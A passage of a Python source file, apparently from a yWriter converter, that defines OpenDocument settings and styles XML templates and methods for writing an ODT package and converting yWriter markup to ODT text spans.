config:name="PrintFaxName" config:type="string"/> <config:config-item config:name="UnxForceZeroExtLeading" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintTextPlaceholder" config:type="boolean">false</config:config-item> <config:config-item config:name="DoNotJustifyLinesWithManualBreak" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintRightPages" config:type="boolean">true</config:config-item> <config:config-item config:name="CharacterCompressionType" config:type="short">0</config:config-item> <config:config-item config:name="UseFormerTextWrapping" config:type="boolean">false</config:config-item> <config:config-item config:name="IsLabelDocument" config:type="boolean">false</config:config-item> <config:config-item config:name="AlignTabStopPosition" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintHiddenText" config:type="boolean">false</config:config-item> <config:config-item config:name="DoNotResetParaAttrsForNumFont" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintPageBackground" config:type="boolean">true</config:config-item> <config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-item> <config:config-item config:name="OutlineLevelYieldsNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintProspect" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintGraphics" config:type="boolean">true</config:config-item> <config:config-item config:name="SaveGlobalDocumentLinks" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintProspectRTL" config:type="boolean">false</config:config-item> <config:config-item config:name="UseFormerLineSpacing" config:type="boolean">false</config:config-item> <config:config-item config:name="AddExternalLeading" config:type="boolean">true</config:config-item> <config:config-item config:name="UseFormerObjectPositioning" config:type="boolean">false</config:config-item> <config:config-item config:name="RedlineProtectionKey" config:type="base64Binary"/> <config:config-item config:name="MathBaselineAlignment" config:type="boolean">false</config:config-item> <config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames" config:type="boolean">false</config:config-item> <config:config-item config:name="UseOldNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item> <config:config-item config:name="PrinterIndependentLayout" config:type="string">disabled</config:config-item> <config:config-item config:name="TabAtLeftIndentForParagraphsInList" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintBlackFonts" config:type="boolean">false</config:config-item> <config:config-item config:name="UpdateFromTemplate" config:type="boolean">true</config:config-item> </config:config-item-set> </office:settings> </office:document-settings> ''' _STYLES_XML = '''<?xml version="1.0" encoding="UTF-8"?> <office:document-styles xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0"> <office:font-face-decls> <style:font-face style:name="StarSymbol" svg:font-family="StarSymbol" style:font-charset="x-symbol"/> <style:font-face style:name="Segoe UI" svg:font-family="&apos;Segoe UI&apos;"/> <style:font-face style:name="Courier New" svg:font-family="&apos;Courier New&apos;" style:font-adornments="Standard" style:font-family-generic="modern" style:font-pitch="fixed"/> </office:font-face-decls> <office:styles> <style:default-style style:family="graphic"> <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.3cm" draw:shadow-offset-y="0.3cm" draw:start-line-spacing-horizontal="0.283cm" draw:start-line-spacing-vertical="0.283cm" draw:end-line-spacing-horizontal="0.283cm" draw:end-line-spacing-vertical="0.283cm" style:flow-with-text="true"/> <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:writing-mode="lr-tb" style:font-independent-line-spacing="false"> <style:tab-stops/> </style:paragraph-properties> <style:text-properties fo:color="#000000" fo:font-size="10pt" fo:language="$Language" fo:country="$Country" style:font-size-asian="10pt" style:language-asian="zxx" style:country-asian="none" style:font-size-complex="1pt" style:language-complex="zxx" style:country-complex="none"/> </style:default-style> <style:default-style style:family="paragraph"> <style:paragraph-properties fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="1.251cm" style:writing-mode="lr-tb"/> <style:text-properties fo:color="#000000" style:font-name="Segoe UI" fo:font-size="10pt" fo:language="$Language" fo:country="$Country" style:font-name-asian="Segoe UI" style:font-size-asian="10pt" style:language-asian="zxx" style:country-asian="none" style:font-name-complex="Segoe UI" style:font-size-complex="1pt" style:language-complex="zxx" style:country-complex="none" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/> </style:default-style> <style:style style:name="Standard" style:family="paragraph" style:class="text" style:master-page-name=""> <style:paragraph-properties fo:line-height="0.73cm" style:page-number="auto"/> <style:text-properties style:font-name="Courier New" fo:font-size="12pt" fo:font-weight="normal"/> </style:style> <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="First_20_line_20_indent" style:class="text" style:master-page-name=""> <style:paragraph-properties style:page-number="auto"> <style:tab-stops/> </style:paragraph-properties> </style:style> <style:style style:name="First_20_line_20_indent" style:display-name="First line indent" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="text" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0.499cm" style:auto-text-indent="false" style:page-number="auto"/> </style:style> <style:style style:name="Hanging_20_indent" style:display-name="Hanging indent" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="text"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="0cm"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Text_20_body_20_indent" style:display-name="Text body indent" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="text"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="text" style:master-page-name=""> <style:paragraph-properties fo:line-height="0.73cm" fo:text-align="center" style:justify-single-word="false" style:page-number="auto" fo:keep-with-next="always"> <style:tab-stops/> </style:paragraph-properties> </style:style> <style:style style:name="Heading_20_1" style:display-name="Heading 1" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="1" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="1.461cm" fo:margin-bottom="0.73cm" style:page-number="auto"> <style:tab-stops/> </style:paragraph-properties> <style:text-properties fo:text-transform="uppercase" fo:font-weight="bold"/> </style:style> <style:style style:name="Heading_20_2" style:display-name="Heading 2" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="2" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="1.461cm" fo:margin-bottom="0.73cm" style:page-number="auto"/> <style:text-properties fo:font-weight="bold"/> </style:style> <style:style style:name="Heading_20_3" style:display-name="Heading 3" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="3" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0.73cm" fo:margin-bottom="0.73cm" style:page-number="auto"/> <style:text-properties fo:font-style="italic"/> </style:style> <style:style style:name="Heading_20_4" style:display-name="Heading 4" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties fo:margin-top="0.73cm" fo:margin-bottom="0.73cm" style:page-number="auto"/> </style:style> <style:style style:name="Heading_20_5" style:display-name="Heading 5" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties style:page-number="auto"/> </style:style> <style:style style:name="Heading_20_6" style:display-name="Heading 6" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text"/> <style:style style:name="Heading_20_7" style:display-name="Heading 7" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text"/> <style:style style:name="Heading_20_8" style:display-name="Heading 8" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text"/> <style:style style:name="Heading_20_9" style:display-name="Heading 9" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text"/> <style:style style:name="Heading_20_10" style:display-name="Heading 10" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="10" style:list-style-name="" style:class="text"> <style:text-properties fo:font-size="75%" fo:font-weight="bold"/> </style:style> <style:style style:name="Header_20_and_20_Footer" style:display-name="Header and Footer" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties text:number-lines="false" text:line-number="0"> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Header" style:family="paragraph" style:parent-style-name="Standard" style:class="extra" style:master-page-name=""> <style:paragraph-properties fo:text-align="end" style:justify-single-word="false" style:page-number="auto" fo:padding="0.049cm" fo:border-left="none" fo:border-right="none" fo:border-top="none" fo:border-bottom="0.002cm solid #000000" style:shadow="none"> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> <style:text-properties fo:font-variant="normal" fo:text-transform="none" fo:font-style="italic"/> </style:style> <style:style style:name="Header_20_left" style:display-name="Header left" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Header_20_right" style:display-name="Header right" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Footer" style:family="paragraph" style:parent-style-name="Standard" style:class="extra" style:master-page-name=""> <style:paragraph-properties fo:text-align="center" style:justify-single-word="false" style:page-number="auto" text:number-lines="false" text:line-number="0"> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> <style:text-properties fo:font-size="11pt"/> </style:style> <style:style style:name="Footer_20_left" style:display-name="Footer left" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Footer_20_right" style:display-name="Footer right" style:family="paragraph" style:parent-style-name="Standard" style:class="extra"> <style:paragraph-properties> <style:tab-stops> <style:tab-stop style:position="8.5cm" style:type="center"/> <style:tab-stop style:position="17.002cm" style:type="right"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Title" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Subtitle" style:class="chapter" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0.000cm" fo:margin-bottom="0cm" fo:line-height="200%" fo:text-align="center" style:justify-single-word="false" fo:text-indent="0cm" style:auto-text-indent="false" style:page-number="auto" fo:background-color="transparent" fo:padding="0cm" fo:border="none" text:number-lines="false" text:line-number="0"> <style:tab-stops/> <style:background-image/> </style:paragraph-properties> <style:text-properties fo:text-transform="uppercase" fo:font-weight="normal" style:letter-kerning="false"/> </style:style> <style:style style:name="Subtitle" style:family="paragraph" style:parent-style-name="Title" style:class="chapter" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0cm" fo:margin-bottom="0cm" style:page-number="auto"/> <style:text-properties fo:font-variant="normal" fo:text-transform="none" fo:letter-spacing="normal" fo:font-style="italic" fo:font-weight="normal"/> </style:style> <style:style style:name="yWriter_20_mark" style:display-name="yWriter mark" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Standard" style:class="text"> <style:text-properties fo:color="#008000" fo:font-size="10pt"/> </style:style> <style:style style:name="yWriter_20_mark_20_unused" style:display-name="yWriter mark unused" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Standard" style:class="text"> <style:text-properties fo:color="#808080" fo:font-size="10pt"/> </style:style> <style:style style:name="yWriter_20_mark_20_notes" style:display-name="yWriter mark notes" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Standard" style:class="text"> <style:text-properties fo:color="#0000FF" fo:font-size="10pt"/> </style:style> <style:style style:name="yWriter_20_mark_20_todo" style:display-name="yWriter mark todo" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Standard" style:class="text"> <style:text-properties fo:color="#B22222" fo:font-size="10pt"/> </style:style> <style:style style:name="Emphasis" style:family="text"> <style:text-properties fo:font-style="italic" fo:background-color="transparent"/> </style:style> <style:style style:name="Strong_20_Emphasis" style:display-name="Strong Emphasis" style:family="text"> <style:text-properties fo:text-transform="uppercase"/> </style:style> </office:styles> <office:automatic-styles> <style:page-layout style:name="Mpm1"> <style:page-layout-properties fo:page-width="21.001cm" fo:page-height="29.7cm" style:num-format="1" style:paper-tray-name="[From printer settings]" style:print-orientation="portrait" fo:margin-top="3.2cm" fo:margin-bottom="2.499cm" fo:margin-left="2.701cm" fo:margin-right="3cm" style:writing-mode="lr-tb" style:layout-grid-color="#c0c0c0" style:layout-grid-lines="20" style:layout-grid-base-height="0.706cm" style:layout-grid-ruby-height="0.353cm" style:layout-grid-mode="none" style:layout-grid-ruby-below="false" style:layout-grid-print="false" style:layout-grid-display="false" style:footnote-max-height="0cm"> <style:columns fo:column-count="1" fo:column-gap="0cm"/> <style:footnote-sep style:width="0.018cm" style:distance-before-sep="0.101cm" style:distance-after-sep="0.101cm" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style> <style:header-footer-properties fo:min-height="1.699cm" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="1.199cm" style:shadow="none" style:dynamic-spacing="false"/> </style:footer-style> </style:page-layout> </office:automatic-styles> <office:master-styles> <style:master-page style:name="Standard" style:page-layout-name="Mpm1"> <style:footer> <text:p text:style-name="Footer"><text:page-number text:select-page="current"/></text:p> </style:footer> </style:master-page> </office:master-styles> </office:document-styles> ''' _MIMETYPE = 'application/vnd.oasis.opendocument.text' def _set_up(self): """Helper method for ZIP file generation. Add rdf manifest to the temporary directory containing the internal structure of an ODF file. Return a message beginning with the ERROR constant in case of error. Extends the superclass method. """ # Generate the common ODF components. message = super()._set_up() if message.startswith(ERROR): return message # Generate manifest.rdf try: with open(f'{self._tempDir}/manifest.rdf', 'w', encoding='utf-8') as f: f.write(self._MANIFEST_RDF) except: return f'{ERROR}Cannot write "manifest.rdf"' return 'ODT structure generated.' def _convert_from_yw(self, text, quick=False): """Return text, converted from yw7 markup to target format. Positional arguments: text -- string to convert. Optional arguments: quick -- bool: if True, apply a conversion mode for one-liners without formatting. Overrides the superclass method. """ if quick: # Just clean up a one-liner without sophisticated formatting. try: return text.replace('&', '&amp;').replace('>', '&gt;').replace('<', '&lt;') except AttributeError: return '' ODT_REPLACEMENTS = [ ('&', '&amp;'), ('>', '&gt;'), ('<', '&lt;'), ('\n\n', '</text:p>\r<text:p text:style-name="First_20_line_20_indent" />\r<text:p text:style-name="Text_20_body">'), ('\n', '</text:p>\r<text:p text:style-name="First_20_line_20_indent">'), ('\r', '\n'), ('[i]', '<text:span text:style-name="Emphasis">'), ('[/i]', '</text:span>'), ('[b]', '<text:span text:style-name="Strong_20_Emphasis">'), ('[/b]', '</text:span>'), ('/*', f'<office:annotation><dc:creator>{self.authorName}</dc:creator><text:p>'), ('*/', '</text:p></office:annotation>'), ] try: # process italics and bold markup reaching across linebreaks italics = False bold = False newlines = [] lines = text.split('\n') for line in lines: if italics: line = f'[i]{line}' italics = False while line.count('[i]') > line.count('[/i]'): line = f'{line}[/i]' italics = True while line.count('[/i]') > line.count('[i]'): line = f'[i]{line}' line = line.replace('[i][/i]', '') if bold: line = f'[b]{line}' bold = False while line.count('[b]') > line.count('[/b]'): line = f'{line}[/b]' bold = True while line.count('[/b]') > line.count('[b]'): line = f'[b]{line}' line = line.replace('[b][/b]', '') newlines.append(line) text = '\n'.join(newlines).rstrip() for yw, od in ODT_REPLACEMENTS: text = text.replace(yw, od) # Remove highlighting, alignment, # strikethrough, and underline tags. text = re.sub('\[\/*[h|c|r|s|u]\d*\]', '', text) except AttributeError: text = '' return text class OdtAeon(OdtFile): """ODT Aeon Timeline import file representation. """ _STYLES_XML = '''<?xml version="1.0" encoding="UTF-8"?> <office:document-styles xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0"> <office:font-face-decls> <style:font-face style:name="StarSymbol" svg:font-family="StarSymbol" style:font-charset="x-symbol"/> <style:font-face style:name="Segoe UI" svg:font-family="&apos;Segoe UI&apos;"/> <style:font-face style:name="Courier New" svg:font-family="&apos;Courier New&apos;" style:font-adornments="Standard" style:font-family-generic="modern" style:font-pitch="fixed"/> <style:font-face style:name="DejaVu Sans" svg:font-family="&apos;DejaVu Sans&apos;" style:font-adornments="Book" style:font-family-generic="swiss" style:font-pitch="variable"/> <style:font-face style:name="DejaVu Sans Condensed" svg:font-family="&apos;DejaVu Sans Condensed&apos;" style:font-adornments="Book" style:font-family-generic="swiss" style:font-pitch="variable"/> <style:font-face style:name="DejaVu Sans Condensed1" svg:font-family="&apos;DejaVu Sans Condensed&apos;" style:font-adornments="Fett" style:font-family-generic="swiss" style:font-pitch="variable"/> </office:font-face-decls> <office:styles> <style:default-style style:family="graphic"> <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.3cm" draw:shadow-offset-y="0.3cm" draw:start-line-spacing-horizontal="0.283cm" draw:start-line-spacing-vertical="0.283cm" draw:end-line-spacing-horizontal="0.283cm" draw:end-line-spacing-vertical="0.283cm" style:flow-with-text="true"/> <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:writing-mode="lr-tb" style:font-independent-line-spacing="false"> <style:tab-stops/> </style:paragraph-properties> <style:text-properties fo:color="#000000" fo:font-size="10pt" fo:language="de" fo:country="DE" style:font-size-asian="10pt" style:language-asian="zxx" style:country-asian="none" style:font-size-complex="1pt" style:language-complex="zxx" style:country-complex="none"/> </style:default-style> <style:default-style style:family="paragraph"> <style:paragraph-properties fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="1.251cm" style:writing-mode="lr-tb"/> <style:text-properties fo:color="#000000" style:font-name="Segoe UI" fo:font-size="10pt" fo:language="de" fo:country="DE" style:font-name-asian="Segoe UI" style:font-size-asian="10pt" style:language-asian="zxx" style:country-asian="none" style:font-name-complex="Segoe UI" style:font-size-complex="1pt" style:language-complex="zxx" style:country-complex="none" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/> </style:default-style> <style:default-style style:family="table"> <style:table-properties table:border-model="separating"/> </style:default-style> <style:default-style style:family="table-row"> <style:table-row-properties fo:keep-together="always"/> </style:default-style> <style:style style:name="Standard" style:family="paragraph" style:class="text" style:master-page-name=""> <style:paragraph-properties fo:line-height="150%" style:page-number="auto"/> <style:text-properties style:font-name="DejaVu Sans" fo:font-size="11pt" fo:font-weight="normal"/> </style:style> <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="First_20_line_20_indent" style:class="text" style:master-page-name=""> <style:paragraph-properties style:page-number="auto"> <style:tab-stops/> </style:paragraph-properties> </style:style> <style:style style:name="First_20_line_20_indent" style:display-name="First line indent" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="text" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0.499cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false" style:page-number="auto"/> </style:style> <style:style style:name="Hanging_20_indent" style:display-name="Hanging indent" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="text"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="0cm"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Text_20_body_20_indent" style:display-name="Text body indent" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="text"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> <style:text-properties style:font-name="DejaVu Sans Condensed" fo:font-size="10pt" fo:font-style="italic"/> </style:style> <style:style style:name="Salutation" style:family="paragraph" style:parent-style-name="Standard" style:class="text"/> <style:style style:name="Signature" style:family="paragraph" style:parent-style-name="Standard" style:class="text"/> <style:style style:name="List_20_Indent" style:display-name="List Indent" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="text"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="5.001cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="-4.5cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="0cm"/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Marginalia" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="text"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="4.001cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="text" style:master-page-name=""> <style:paragraph-properties fo:line-height="0.73cm" style:page-number="auto" fo:keep-with-next="always"> <style:tab-stops/> </style:paragraph-properties> <style:text-properties style:font-name="DejaVu Sans Condensed1" fo:font-weight="bold"/> </style:style> <style:style style:name="Heading_20_1" style:display-name="Heading 1" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="1" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="1.461cm" fo:margin-bottom="0.73cm" style:page-number="auto"> <style:tab-stops/> </style:paragraph-properties> <style:text-properties fo:text-transform="uppercase" fo:font-size="16pt"/> </style:style> <style:style style:name="Heading_20_2" style:display-name="Heading 2" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="2" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="1.461cm" fo:margin-bottom="0.73cm" style:page-number="auto"/> <style:text-properties fo:font-size="13pt"/> </style:style> <style:style style:name="Heading_20_3" style:display-name="Heading 3" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="3" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0.73cm" fo:margin-bottom="0.73cm" style:page-number="auto"/> </style:style> <style:style style:name="Heading_20_4" style:display-name="Heading 4" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties fo:margin-top="0.73cm" fo:margin-bottom="0.73cm" style:page-number="auto"/> </style:style> <style:style style:name="Heading_20_5" style:display-name="Heading 5" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text" style:master-page-name=""> <style:paragraph-properties style:page-number="auto"/> </style:style> <style:style style:name="Heading_20_6" style:display-name="Heading 6" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text"/> <style:style style:name="Heading_20_7" style:display-name="Heading 7" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text"/> <style:style style:name="Heading_20_8" style:display-name="Heading 8" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text"/> <style:style style:name="Heading_20_9" style:display-name="Heading 9" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="" style:list-style-name="" style:class="text"/> <style:style style:name="Heading_20_10" style:display-name="Heading 10" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_20_body" style:default-outline-level="10" style:list-style-name="" style:class="text"> <style:text-properties fo:font-size="75%" fo:font-weight="bold"/> </style:style> <style:style style:name="List" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="list"/> <style:style style:name="Numbering_20_1_20_Start" style:display-name="Numbering 1 Start" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0.423cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_1" style:display-name="Numbering 1" style:family="paragraph" style:parent-style-name="List" style:class="list"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0.212cm" fo:text-indent="-0.499cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="Numbering_20_1_20_End" style:display-name="Numbering 1 End" 